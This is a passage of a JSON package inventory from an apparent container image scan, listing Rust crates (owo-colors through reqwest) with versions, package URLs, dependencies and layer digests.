"sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "owo-colors@4.3.0", "Name": "owo-colors", "Identifier": { "PURL": "pkg:cargo/owo-colors@4.3.0", "UID": "bc6ba78bbefcb23c" }, "Version": "4.3.0", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "papaya@0.2.4", "Name": "papaya", "Identifier": { "PURL": "pkg:cargo/papaya@0.2.4", "UID": "eab1bf98961147fb" }, "Version": "0.2.4", "DependsOn": [ "equivalent@1.0.2", "seize@0.5.1" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "parking@2.2.1", "Name": "parking", "Identifier": { "PURL": "pkg:cargo/parking@2.2.1", "UID": "b6bb523d41750d9d" }, "Version": "2.2.1", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "parking_lot@0.12.5", "Name": "parking_lot", "Identifier": { "PURL": "pkg:cargo/parking_lot@0.12.5", "UID": "e12ac1270495cb95" }, "Version": "0.12.5", "DependsOn": [ "lock_api@0.4.14", "parking_lot_core@0.9.12" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "parking_lot_core@0.9.12", "Name": "parking_lot_core", "Identifier": { "PURL": "pkg:cargo/parking_lot_core@0.9.12", "UID": "9692887b506cbc02" }, "Version": "0.9.12", "DependsOn": [ "cfg-if@1.0.4", "libc@0.2.186", "smallvec@1.15.2" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "path-slash@0.2.1", "Name": "path-slash", "Identifier": { "PURL": "pkg:cargo/path-slash@0.2.1", "UID": "c6397b4b90bca66" }, "Version": "0.2.1", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "pathdiff@0.2.3", "Name": "pathdiff", "Identifier": { "PURL": "pkg:cargo/pathdiff@0.2.3", "UID": "3484c11e1a073ca4" }, "Version": "0.2.3", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "pbkdf2@0.12.2", "Name": "pbkdf2", "Identifier": { "PURL": "pkg:cargo/pbkdf2@0.12.2", "UID": "d9840af02aecc6a" }, "Version": "0.12.2", "DependsOn": [ "digest@0.10.7", "hmac@0.12.1" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "pem@3.0.6", "Name": "pem", "Identifier": { "PURL": "pkg:cargo/pem@3.0.6", "UID": "2508e2376132b135" }, "Version": "3.0.6", "DependsOn": [ "base64@0.22.1", "serde_core@1.0.228" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "pem-rfc7468@0.7.0", "Name": "pem-rfc7468", "Identifier": { "PURL": "pkg:cargo/pem-rfc7468@0.7.0", "UID": "25c0967d3316260d" }, "Version": "0.7.0", "DependsOn": [ "base64ct@1.8.3" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "percent-encoding@2.3.2", "Name": "percent-encoding", "Identifier": { "PURL": "pkg:cargo/percent-encoding@2.3.2", "UID": "5774c79ce51f5c31" }, "Version": "2.3.2", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "pest@2.8.6", "Name": "pest", "Identifier": { "PURL": "pkg:cargo/pest@2.8.6", "UID": "56de88955944fa36" }, "Version": "2.8.6", "DependsOn": [ "memchr@2.8.2", "ucd-trie@0.1.7" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "pest_derive@2.8.6", "Name": "pest_derive", "Identifier": { "PURL": "pkg:cargo/pest_derive@2.8.6", "UID": "faf09cba5830506" }, "Version": "2.8.6", "DependsOn": [ "pest@2.8.6", "pest_generator@2.8.6" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "pest_generator@2.8.6", "Name": "pest_generator", "Identifier": { "PURL": "pkg:cargo/pest_generator@2.8.6", "UID": "be3c88e835d798c" }, "Version": "2.8.6", "DependsOn": [ "pest@2.8.6", "pest_meta@2.8.6", "proc-macro2@1.0.106", "quote@1.0.45", "syn@2.0.117" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "pest_meta@2.8.6", "Name": "pest_meta", "Identifier": { "PURL": "pkg:cargo/pest_meta@2.8.6", "UID": "7d8e1b0881745655" }, "Version": "2.8.6", "DependsOn": [ "pest@2.8.6", "sha2@0.10.9" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "petgraph@0.8.3", "Name": "petgraph", "Identifier": { "PURL": "pkg:cargo/petgraph@0.8.3", "UID": "368fad377beaaae3" }, "Version": "0.8.3", "DependsOn": [ "fixedbitset@0.5.7", "hashbrown@0.15.5", "indexmap@2.14.0", "serde@1.0.228" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "pin-project@1.1.11", "Name": "pin-project", "Identifier": { "PURL": "pkg:cargo/pin-project@1.1.11", "UID": "8457bd2378e75688" }, "Version": "1.1.11", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "pin-project-lite@0.2.17", "Name": "pin-project-lite", "Identifier": { "PURL": "pkg:cargo/pin-project-lite@0.2.17", "UID": "daace6bbdf3b2a46" }, "Version": "0.2.17", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "pkcs1@0.7.5", "Name": "pkcs1", "Identifier": { "PURL": "pkg:cargo/pkcs1@0.7.5", "UID": "f502f64ff395b3c9" }, "Version": "0.7.5", "DependsOn": [ "der@0.7.10", "pkcs8@0.10.2", "spki@0.7.3" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "pkcs5@0.7.1", "Name": "pkcs5", "Identifier": { "PURL": "pkg:cargo/pkcs5@0.7.1", "UID": "50acc3ac59d60d74" }, "Version": "0.7.1", "DependsOn": [ "aes@0.8.4", "cbc@0.1.2", "der@0.7.10", "pbkdf2@0.12.2", "scrypt@0.11.0", "sha2@0.10.9", "spki@0.7.3" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "pkcs8@0.10.2", "Name": "pkcs8", "Identifier": { "PURL": "pkg:cargo/pkcs8@0.10.2", "UID": "2d46af6bb91b15aa" }, "Version": "0.10.2", "DependsOn": [ "der@0.7.10", "pkcs5@0.7.1", "rand_core@0.6.4", "spki@0.7.3" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "plain@0.2.3", "Name": "plain", "Identifier": { "PURL": "pkg:cargo/plain@0.2.3", "UID": "39538196afef622b" }, "Version": "0.2.3", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "portable-atomic@1.13.1", "Name": "portable-atomic", "Identifier": { "PURL": "pkg:cargo/portable-atomic@1.13.1", "UID": "dabd7a3b02833bbb" }, "Version": "1.13.1", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "potential_utf@0.1.4", "Name": "potential_utf", "Identifier": { "PURL": "pkg:cargo/potential_utf@0.1.4", "UID": "9accbebddced7737" }, "Version": "0.1.4", "DependsOn": [ "zerovec@0.11.5" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "powerfmt@0.2.0", "Name": "powerfmt", "Identifier": { "PURL": "pkg:cargo/powerfmt@0.2.0", "UID": "70b765ee6b0429b0" }, "Version": "0.2.0", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "ppv-lite86@0.2.21", "Name": "ppv-lite86", "Identifier": { "PURL": "pkg:cargo/ppv-lite86@0.2.21", "UID": "6ac1b443f14f2560" }, "Version": "0.2.21", "DependsOn": [ "zerocopy@0.8.42" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "predicates@3.1.4", "Name": "predicates", "Identifier": { "PURL": "pkg:cargo/predicates@3.1.4", "UID": "e56972b44f7b3a21" }, "Version": "3.1.4", "DependsOn": [ "anstyle@1.0.14", "difflib@0.4.0", "float-cmp@0.10.0", "normalize-line-endings@0.3.0", "predicates-core@1.0.10", "regex@1.12.4" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "predicates-core@1.0.10", "Name": "predicates-core", "Identifier": { "PURL": "pkg:cargo/predicates-core@1.0.10", "UID": "e46ff1f315a9e799" }, "Version": "1.0.10", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "predicates-tree@1.0.13", "Name": "predicates-tree", "Identifier": { "PURL": "pkg:cargo/predicates-tree@1.0.13", "UID": "5105f204cd503e00" }, "Version": "1.0.13", "DependsOn": [ "predicates-core@1.0.10", "termtree@0.5.1" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "priority-queue@2.7.0", "Name": "priority-queue", "Identifier": { "PURL": "pkg:cargo/priority-queue@2.7.0", "UID": "3baf82c4fc9514e5" }, "Version": "2.7.0", "DependsOn": [ "equivalent@1.0.2", "indexmap@2.14.0", "serde@1.0.228" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "proc-macro-crate@3.5.0", "Name": "proc-macro-crate", "Identifier": { "PURL": "pkg:cargo/proc-macro-crate@3.5.0", "UID": "a5630350d4d273c5" }, "Version": "3.5.0", "DependsOn": [ "toml_edit@0.25.12+spec-1.1.0" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "proc-macro2@1.0.106", "Name": "proc-macro2", "Identifier": { "PURL": "pkg:cargo/proc-macro2@1.0.106", "UID": "82c5f9176e43fbf1" }, "Version": "1.0.106", "DependsOn": [ "unicode-ident@1.0.24" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "procfs@0.18.0", "Name": "procfs", "Identifier": { "PURL": "pkg:cargo/procfs@0.18.0", "UID": "4570bbea14fb53af" }, "Version": "0.18.0", "DependsOn": [ "bitflags@2.13.0", "flate2@1.1.9", "procfs-core@0.18.0", "rustix@1.1.4" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "procfs-core@0.18.0", "Name": "procfs-core", "Identifier": { "PURL": "pkg:cargo/procfs-core@0.18.0", "UID": "adb87191a189749e" }, "Version": "0.18.0", "DependsOn": [ "bitflags@2.13.0", "hex@0.4.3" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "ptr_meta@0.3.1", "Name": "ptr_meta", "Identifier": { "PURL": "pkg:cargo/ptr_meta@0.3.1", "UID": "fed159fc365e7a48" }, "Version": "0.3.1", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "purl@0.1.6", "Name": "purl", "Identifier": { "PURL": "pkg:cargo/purl@0.1.6", "UID": "c6aa9d52c779b995" }, "Version": "0.1.6", "DependsOn": [ "hex@0.4.3", "percent-encoding@2.3.2", "thiserror@2.0.18" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "pxfm@0.1.28", "Name": "pxfm", "Identifier": { "PURL": "pkg:cargo/pxfm@0.1.28", "UID": "c4aebcd74f848cf1" }, "Version": "0.1.28", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "quick-xml@0.39.2", "Name": "quick-xml", "Identifier": { "PURL": "pkg:cargo/quick-xml@0.39.2", "UID": "f4aa4c75e2c0a085" }, "Version": "0.39.2", "DependsOn": [ "memchr@2.8.2", "serde@1.0.228" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "quinn@0.11.9", "Name": "quinn", "Identifier": { "PURL": "pkg:cargo/quinn@0.11.9", "UID": "93a3d33d7f3684fe" }, "Version": "0.11.9", "DependsOn": [ "bytes@1.11.1", "pin-project-lite@0.2.17", "quinn-proto@0.11.14", "quinn-udp@0.5.14", "rustc-hash@2.1.2", "rustls@0.23.40", "socket2@0.6.3", "thiserror@2.0.18", "tokio@1.52.3", "tracing@0.1.44" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "quinn-proto@0.11.14", "Name": "quinn-proto", "Identifier": { "PURL": "pkg:cargo/quinn-proto@0.11.14", "UID": "ee350fd147cf64d1" }, "Version": "0.11.14", "DependsOn": [ "aws-lc-rs@1.16.2", "bytes@1.11.1", "lru-slab@0.1.2", "rand@0.9.4", "rustc-hash@2.1.2", "rustls@0.23.40", "slab@0.4.12", "thiserror@2.0.18", "tinyvec@1.11.0", "tracing@0.1.44" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "quinn-udp@0.5.14", "Name": "quinn-udp", "Identifier": { "PURL": "pkg:cargo/quinn-udp@0.5.14", "UID": "1eabf52a9368d2f7" }, "Version": "0.5.14", "DependsOn": [ "libc@0.2.186", "socket2@0.6.3", "tracing@0.1.44" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "quote@1.0.45", "Name": "quote", "Identifier": { "PURL": "pkg:cargo/quote@1.0.45", "UID": "c1c57db36dc975e5" }, "Version": "1.0.45", "DependsOn": [ "proc-macro2@1.0.106" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "quoted_printable@0.5.1", "Name": "quoted_printable", "Identifier": { "PURL": "pkg:cargo/quoted_printable@0.5.1", "UID": "4b136f87479a857a" }, "Version": "0.5.1", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "rancor@0.1.1", "Name": "rancor", "Identifier": { "PURL": "pkg:cargo/rancor@0.1.1", "UID": "93ccf7340b5d8e2f" }, "Version": "0.1.1", "DependsOn": [ "ptr_meta@0.3.1" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "rand@0.8.6", "Name": "rand", "Identifier": { "PURL": "pkg:cargo/rand@0.8.6", "UID": "aaf858d2f7b73e6a" }, "Version": "0.8.6", "DependsOn": [ "rand_chacha@0.3.1", "rand_core@0.6.4" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "rand@0.9.4", "Name": "rand", "Identifier": { "PURL": "pkg:cargo/rand@0.9.4", "UID": "e1b36b1a38a97dfc" }, "Version": "0.9.4", "DependsOn": [ "rand_chacha@0.9.0", "rand_core@0.9.5" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "rand_chacha@0.3.1", "Name": "rand_chacha", "Identifier": { "PURL": "pkg:cargo/rand_chacha@0.3.1", "UID": "27a98ed6e3a5c0a4" }, "Version": "0.3.1", "DependsOn": [ "ppv-lite86@0.2.21", "rand_core@0.6.4" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "rand_chacha@0.9.0", "Name": "rand_chacha", "Identifier": { "PURL": "pkg:cargo/rand_chacha@0.9.0", "UID": "acaa0d467f1e679f" }, "Version": "0.9.0", "DependsOn": [ "ppv-lite86@0.2.21", "rand_core@0.9.5" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "rand_core@0.6.4", "Name": "rand_core", "Identifier": { "PURL": "pkg:cargo/rand_core@0.6.4", "UID": "2c5d8b51d09e4286" }, "Version": "0.6.4", "DependsOn": [ "getrandom@0.2.16" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "rand_core@0.9.5", "Name": "rand_core", "Identifier": { "PURL": "pkg:cargo/rand_core@0.9.5", "UID": "2ab84646789770da" }, "Version": "0.9.5", "DependsOn": [ "getrandom@0.3.3" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "rayon@1.12.0", "Name": "rayon", "Identifier": { "PURL": "pkg:cargo/rayon@1.12.0", "UID": "92174a57a393c098" }, "Version": "1.12.0", "DependsOn": [ "either@1.16.0", "rayon-core@1.13.0" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "rayon-core@1.13.0", "Name": "rayon-core", "Identifier": { "PURL": "pkg:cargo/rayon-core@1.13.0", "UID": "1cd3d380c02d35e3" }, "Version": "1.13.0", "DependsOn": [ "crossbeam-deque@0.8.6", "crossbeam-utils@0.8.21" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "ref-cast@1.0.25", "Name": "ref-cast", "Identifier": { "PURL": "pkg:cargo/ref-cast@1.0.25", "UID": "a168e988fb52f3dc" }, "Version": "1.0.25", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "reflink-copy@0.1.29", "Name": "reflink-copy", "Identifier": { "PURL": "pkg:cargo/reflink-copy@0.1.29", "UID": "d0cc6bef4ad1ea0e" }, "Version": "0.1.29", "DependsOn": [ "cfg-if@1.0.4", "libc@0.2.186", "rustix@1.1.4" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "regex@1.12.4", "Name": "regex", "Identifier": { "PURL": "pkg:cargo/regex@1.12.4", "UID": "2fc231854c7344b6" }, "Version": "1.12.4", "DependsOn": [ "aho-corasick@1.1.4", "memchr@2.8.2", "regex-automata@0.4.14", "regex-syntax@0.8.11" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "regex-automata@0.4.14", "Name": "regex-automata", "Identifier": { "PURL": "pkg:cargo/regex-automata@0.4.14", "UID": "6480d3460230000b" }, "Version": "0.4.14", "DependsOn": [ "aho-corasick@1.1.4", "memchr@2.8.2", "regex-syntax@0.8.11" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "regex-syntax@0.8.11", "Name": "regex-syntax", "Identifier": { "PURL": "pkg:cargo/regex-syntax@0.8.11", "UID": "ea420ed7b7486d2f" }, "Version": "0.8.11", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "rend@0.5.3", "Name": "rend", "Identifier": { "PURL": "pkg:cargo/rend@0.5.3", "UID": "18d0683d5c4364b6" }, "Version": "0.5.3", "DependsOn": [ "bytecheck@0.8.2" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "reqsign@0.20.0", "Name": "reqsign", "Identifier": { "PURL": "pkg:cargo/reqsign@0.20.0", "UID": "5ad0e76a016a0d60" }, "Version": "0.20.0", "DependsOn": [ "reqsign-aws-v4@3.0.0", "reqsign-azure-storage@3.0.0", "reqsign-command-execute-tokio@3.0.0", "reqsign-core@3.0.0", "reqsign-file-read-tokio@3.0.0", "reqsign-google@3.0.0", "reqsign-http-send-reqwest@4.0.0" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "reqsign-aws-v4@3.0.0", "Name": "reqsign-aws-v4", "Identifier": { "PURL": "pkg:cargo/reqsign-aws-v4@3.0.0", "UID": "afcfe34d8dc2ca71" }, "Version": "3.0.0", "DependsOn": [ "anyhow@1.0.102", "bytes@1.11.1", "form_urlencoded@1.2.2", "http@1.4.1", "log@0.4.29", "percent-encoding@2.3.2", "quick-xml@0.39.2", "reqsign-core@3.0.0", "rust-ini@0.21.3", "serde@1.0.228", "serde_json@1.0.150", "serde_urlencoded@0.7.1", "sha1@0.10.6" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "reqsign-azure-storage@3.0.0", "Name": "reqsign-azure-storage", "Identifier": { "PURL": "pkg:cargo/reqsign-azure-storage@3.0.0", "UID": "f8ffc54b63b2e776" }, "Version": "3.0.0", "DependsOn": [ "anyhow@1.0.102", "base64@0.22.1", "bytes@1.11.1", "form_urlencoded@1.2.2", "http@1.4.1", "jsonwebtoken@10.3.0", "log@0.4.29", "pem@3.0.6", "percent-encoding@2.3.2", "reqsign-core@3.0.0", "rsa@0.9.10", "serde@1.0.228", "serde_json@1.0.150", "sha1@0.10.6" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "reqsign-command-execute-tokio@3.0.0", "Name": "reqsign-command-execute-tokio", "Identifier": { "PURL": "pkg:cargo/reqsign-command-execute-tokio@3.0.0", "UID": "8b1db34036e24d5a" }, "Version": "3.0.0", "DependsOn": [ "reqsign-core@3.0.0", "tokio@1.52.3" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "reqsign-core@3.0.0", "Name": "reqsign-core", "Identifier": { "PURL": "pkg:cargo/reqsign-core@3.0.0", "UID": "ed0c47cf80c7e3a0" }, "Version": "3.0.0", "DependsOn": [ "anyhow@1.0.102", "base64@0.22.1", "bytes@1.11.1", "form_urlencoded@1.2.2", "futures@0.3.32", "hex@0.4.3", "hmac@0.12.1", "http@1.4.1", "jiff@0.2.28", "log@0.4.29", "percent-encoding@2.3.2", "sha1@0.10.6", "sha2@0.10.9" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "reqsign-file-read-tokio@3.0.0", "Name": "reqsign-file-read-tokio", "Identifier": { "PURL": "pkg:cargo/reqsign-file-read-tokio@3.0.0", "UID": "1560d8fb274981de" }, "Version": "3.0.0", "DependsOn": [ "anyhow@1.0.102", "reqsign-core@3.0.0", "tokio@1.52.3" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "reqsign-google@3.0.0", "Name": "reqsign-google", "Identifier": { "PURL": "pkg:cargo/reqsign-google@3.0.0", "UID": "8bf26c2e6cde69e2" }, "Version": "3.0.0", "DependsOn": [ "form_urlencoded@1.2.2", "http@1.4.1", "jsonwebtoken@10.3.0", "log@0.4.29", "percent-encoding@2.3.2", "reqsign-aws-v4@3.0.0", "reqsign-core@3.0.0", "rsa@0.9.10", "serde@1.0.228", "serde_json@1.0.150", "sha2@0.10.9", "tokio@1.52.3" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "reqsign-http-send-reqwest@4.0.0", "Name": "reqsign-http-send-reqwest", "Identifier": { "PURL": "pkg:cargo/reqsign-http-send-reqwest@4.0.0", "UID": "b939a3a19abd5050" }, "Version": "4.0.0", "DependsOn": [ "anyhow@1.0.102", "bytes@1.11.1", "http@1.4.1", "http-body-util@0.1.3", "reqsign-core@3.0.0", "reqwest@0.13.4" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "reqwest@0.13.4", "Name": "reqwest", "Identifier": { "PURL": "pkg:cargo/reqwest@0.13.4", "UID": "85d32e34e1c9fc2d" }, "Version": "0.13.4", "DependsOn": [ "base64@0.22.1", "bytes@1.11.1", "futures-channel@0.3.32", "futures-core@0.3.32", "futures-util@0.3.32", "h2@0.4.14", "http@1.4.1", "http-body@1.0.1", "http-body-util@0.1.3", "hyper@1.10.1", "hyper-rustls@0.27.7", "hyper-util@0.1.20", "log@0.4.29", "mime_guess@2.0.5", "percent-encoding@2.3.2", "pin-project-lite@0.2.17", "quinn@0.11.9", "rustls@0.23.40", "rustls-pki-types@1.14.1", "rustls-platform-verifier@0.7.0", "serde@1.0.228", "serde_json@1.0.150", "serde_urlencoded@0.7.1", "sync_wrapper@1.0.2", "tokio@1.52.3", "tokio-rustls@0.26.4", "tokio-util@0.7.18", "tower@0.5.3", "tower-http@0.6.8", "tower-service@0.3.3", "url@2.5.8" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "retry-policies@0.5.1", "Name": 